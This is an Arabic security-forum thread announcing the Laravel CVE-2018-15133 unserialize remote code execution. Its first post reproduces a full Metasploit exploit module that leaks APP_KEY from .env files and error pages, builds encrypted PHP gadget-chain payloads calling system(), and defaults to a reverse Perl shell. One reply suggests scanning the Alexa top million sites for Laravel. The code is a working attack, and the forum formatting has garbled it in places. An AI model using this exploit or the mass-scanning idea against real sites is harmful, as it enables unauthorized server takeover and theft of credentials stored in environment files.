TO DONATE : BTC => 1BU6R1C4AQ77LjLZswQNKFwAupw61i88Kn || PM => U4089661


اهم قوانين :1- منع الردود الباهتة مثل شكرااااا و أخواتها 2- لا يسمح بالمشاحنات الطائفية باآ شكل من الأشكال 3- عدم استعمال الألفاظ التافهة و الكلام البذىء 4- عدم وضع معرفات التواصل الأجتماعى بالردود 5- الأطلاع على كامل القوانين واجب 


العودة   الحماية للأبد -Security 4 Ever > القسم الاخباري والتقني > قسم الأخبار التقنية والنقاشات الجادة

قسم الأخبار التقنية والنقاشات الجادة طرح جميع النقاشات الجادة والاخبار اليوميه التي تخص اختراق المواقع وتبعاتها ...

 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 15-07-2019, 07:09 PM
الصورة الرمزية Sec4ever
Sec4ever
الحماية للأبد
 
حـالة التــواجـد : Sec4ever غير متواجد حالياً
تاريخ التسجيل: Oct 2009
مكـان الإقامـة : الحماية للأبد
الجــــنــــــس: ذكـر
الــهـــوايـــــة: النـــــــــوم :)
المشاركات: 3,746
شكراً:3,336
تم شكره 5,079 مرة في 917 مشاركة
معدل تقييم المستوى: 10
Sec4ever تم تعطيل التقييم
افتراضي RCE in PHP Laravel Framework

بسم الله الرحمن الرحيم

السلام عليكم و رحمة و بركاته .



ثغرة بحجم قوى من نوع RCE في Laravel Framework و الكل يعلم حجم انتشار هذا الفريموارك مؤخرا .

ثغرة من خلال القاتل الصامت unserialize كالعادة تم اصدار استغلال كامل في الميتاسبلويت .

كود PHP:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule Msf::Exploit::Remote
  Rank 
ExcellentRanking

  
include Msf::Exploit::Remote::Tcp
  
include Msf::Exploit::Remote::HttpClient

  def initialize
(info = {})
    
super(update_info(info,
      
'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
      
'Deاستبدال scription' => %q{
        
This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.405.6.<= 5.6.29.
        
Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN headerdue to
        an insecure unserialize call of the decrypt method in Illuminate
/Encryption/Encrypter.php.
        
Authentication is not requiredhowever exploitation requires knowledge of the Laravel APP_KEY.
        
Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
        
In some cases the APP_KEY is leaked which allows for discovery and exploitation.
      },
      
'DisclosureDate' => '2018-08-07',
      
'Author' =>
        [
          
'Ståle Pettersen',  # Discovery
          
'aushack',          # msf exploit + other leak
        
],
      
'References' =>
        [
          [
'CVE''2018-15133'],
          [
'CVE''2017-16894'],
          [
'URL''https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
          [
'URL''https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
          [
'URL''https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
        ],
      
'License' => MSF_LICENSE,
      
'Platform' => 'unix',
      
'Arch' => ARCH_CMD,
      
'DefaultTarget' => 0,
      
'Stance' => Msf::Exploit::Stance::Aggressive,
      
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
      
'Payload' => { 'DisableNops' => true },
      
'Targets' => [[ 'Automatic', {} ]],
    ))

    
register_options([
      
OptString.new('TARGETURI', [ true'Path to target webapp''/']),
      
OptString.new('APP_KEY', [ false'The base64 encoded APP_KEY string from the .env file'''])
    ])
  
end

  def check
    res 
send_request_cgi({
      
'uri' => normalize_uri(target_uri.path'index.php'),
      
'method' => 'GET'
    
})

    
# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
    
unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
      
return CheckCode::Unknown
    end

    auth_token 
check_appkey
    
if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 
'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      
return CheckCode::Detected
    end

    random_string 
Rex::Text.rand_text_alphanumeric(12)

    
1.upto(4) do |method|
      
vuln generate_token("echo #{random_string}"auth_tokenmethod)

      
res send_request_cgi({
        
'uri' => normalize_uri(target_uri.path'index.php'),
        
'method' => 'POST',
        
'headers' => {
          
'X-XSRF-TOKEN' => "#{vuln}",
        }
      })

      if 
res.body.include?(random_string)
        return 
CheckCode::Vulnerable
      
# Not conclusive but witnessed in the wild
      
elsif res.body.include?('Method Not Allowed')
        return 
CheckCode::Safe
      end
    end
    CheckCode
::Detected
  rescue Rex
::ConnectionError
    CheckCode
::Unknown
  end

  def env_leak
    key 
''
    
vprint_status 'Checking for CVE-2017-16894 .env information leak'
    
res send_request_cgi({
      
'uri' => normalize_uri(target_uri.path'.env'),
      
'method' => 'GET'
    
})

    
# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
    
return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
    
key = $1

    
if key
      vprint_good 
"APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
      
return key
    end

    vprint_status 
'Website .env file exists but didn\'t find a suitable APP_KEY'
    
key
  end

  def framework_leak
(decrypt_ex true)
    
key ''
    
if decrypt_ex
      
# Possible config error / 0day found by aushack during pentest
      # Seen in the wild with recent releases
      
res send_request_cgi({
        
'uri' => normalize_uri(target_uri.path'index.php'),
        
'method' => 'POST',
        
'headers' => {
          
'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1# May trigger
        
}
      })

      return 
key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
    else
      
res send_request_cgi({
        
'uri' => normalize_uri(target_uri.path'index.php'),
        
'method' => 'POST'
      
})

      return 
key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
    
end
    
# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?

    # Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
    
if res.body =~ /\>base64:(.*)\<\/span\>/
      
key = $1
      vprint_good 
"APP_KEY Found via Laravel Framework error information leak: #{key}"
    
end

    key
  end

  def check_appkey
    key 
datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
    
return key unless key.empty?

    
vprint_status 'APP_KEY not set. Will try to find it...'
    
key env_leak
    key 
framework_leak if key.empty?
    
key framework_leak(false) if key.empty?
    
key.empty? ? false key
  end

  def test_appkey
(value)
    
value Rex::Text.decode_base64(value)
    return 
true if value && value.length.to_i == 32

    false
  end

  def generate_token
(cmdkeymethod)
    
# Ported phpggc Laravel RCE php objects :)
    
case method
      when 1
      payload_decoded 
'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' "\x00" '*' "\x00" 'events";O:15:"Faker\Generator":1:{s:13:"' "\x00" '*' "\x00" 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' "\x00" '*' "\x00" 'event";s:' cmd.length.to_s ':"' cmd '";}'
      
when 2
      payload_decoded 
'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' "\x00" '*' "\x00" 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' "\x00" '*' "\x00" 'listeners";a:1:{s:' cmd.length.to_s ':"' cmd '";a:1:{i:0;s:6:"system";}}}s:8:"' "\x00" '*' "\x00" 'event";s:' cmd.length.to_s ':"' cmd '";}'
      
when 3
      payload_decoded 
'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' "\x00" '*' "\x00" 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' "\x00" '*' "\x00" 'app";s:' cmd.length.to_s ':"' cmd '";s:17:"' "\x00" '*' "\x00" 'defaultChannel";s:1:"x";s:17:"' "\x00" '*' "\x00" 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
      
when 4
      payload_decoded 
'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' "\x00" '*' "\x00" 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' "\x00" '*' "\x00" 'event";s:' cmd.length.to_s ':"' cmd '";}'
    
end

    cipher 
OpenSSL::Cipher.new('AES-256-CBC'# Or AES-128-CBC - untested
    
cipher.encrypt
    cipher
.key Rex::Text.decode_base64(key)
    
iv cipher.random_iv

    value 
cipher.update(payload_decoded) + cipher.final
    
pload Rex::Text.encode_base64(value)
    
iv Rex::Text.encode_base64(iv)
    
mac OpenSSL::HMAC.hexdigest('SHA256'Rex::Text.decode_base64(key), iv+pload)
    
iv iv.gsub('/''\\/'# Escape slash
    
pload pload.gsub('/''\\/'# Escape slash
    
json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
    
json_out Rex::Text.encode_base64(json_value)

    
json_out
  end

  def exploit
    auth_token 
check_appkey
    
if auth_token.blank? || test_appkey(auth_token) == false
      vprint_error 
'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
      
return
    
end

    1.upto
(4) do |method|
      
sploit generate_token(payload.encodedauth_tokenmethod)

      
res send_request_cgi({
        
'uri' => normalize_uri(target_uri.path'index.php'),
        
'method' => 'POST',
        
'headers' => {
        
'X-XSRF-TOKEN' => sploit,
        }
      }, 
5)

      
# Stop when one of the deserialization attacks works
      
break if session_created?

      if 
res && res.body.include?('The MAC is invalid|Method Not Allowed'# Not conclusive
        
print_status 'Target appears to be patched or otherwise immune'
      
end
    end
  end
end 
التنبيه و الحذر و بالتوفيق .


المصدر : من هنا  
الصور المرفقة
نوع الملف: jpg laravel.jpg‏ (26.8 كيلوبايت, المشاهدات 376)

 

 

My Adversary completes me,
to disrespect him is to disrespect myself,
thanks to his presence.
رد مع اقتباس
13 أعضاء قالوا شكراً لـ Sec4ever على المشاركة المفيدة:
  #2  
قديم 15-07-2019, 08:07 PM
الصورة الرمزية Dr.Mohamed
Dr.Mohamed
Sec4Ever Team
 
حـالة التــواجـد : Dr.Mohamed متواجد حالياً
تاريخ التسجيل: Aug 2011
مكـان الإقامـة : .
الجــــنــــــس: ذكـر
الــهـــوايـــــة: .
المشاركات: 2,208
شكراً:1,856
تم شكره 5,635 مرة في 1,405 مشاركة
معدل تقييم المستوى: 10
Dr.Mohamed بدون تقييم
افتراضي رد: RCE in PHP Laravel Framework

يلزم app_key



عمل laravel framework identifier وفحص توب 1m alexa سيكون شي جيدا لهوات bug bounty

 

 

 

...........
رد مع اقتباس
3 أعضاء قالوا شكراً لـ Dr.Mohamed على المشاركة المفيدة:
  #3  
قديم 15-07-2019, 10:41 PM
الصورة الرمزية Dr.Mohamed
Dr.Mohamed
Sec4Ever Team
 
حـالة التــواجـد : Dr.Mohamed متواجد حالياً
تاريخ التسجيل: Aug 2011
مكـان الإقامـة : .
الجــــنــــــس: ذكـر
الــهـــوايـــــة: .
المشاركات: 2,208
شكراً:1,856
تم شكره 5,635 مرة في 1,405 مشاركة
معدل تقييم المستوى: 10
Dr.Mohamed بدون تقييم
افتراضي رد: RCE in PHP Laravel Framework

المضحك ان الثغرة منتشرة من زمان وانا اقول وين شايف الموضوع هذا من قبل

Sep 27, 2018

https://github.com/kozmic/laravel-poc-CVE-2018-15133  

 

 

...........
رد مع اقتباس
4 أعضاء قالوا شكراً لـ Dr.Mohamed على المشاركة المفيدة:

الكلمات الدلالية (Tags)
framework, laravel, php, rce


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع


الساعة الآن 06:53 AM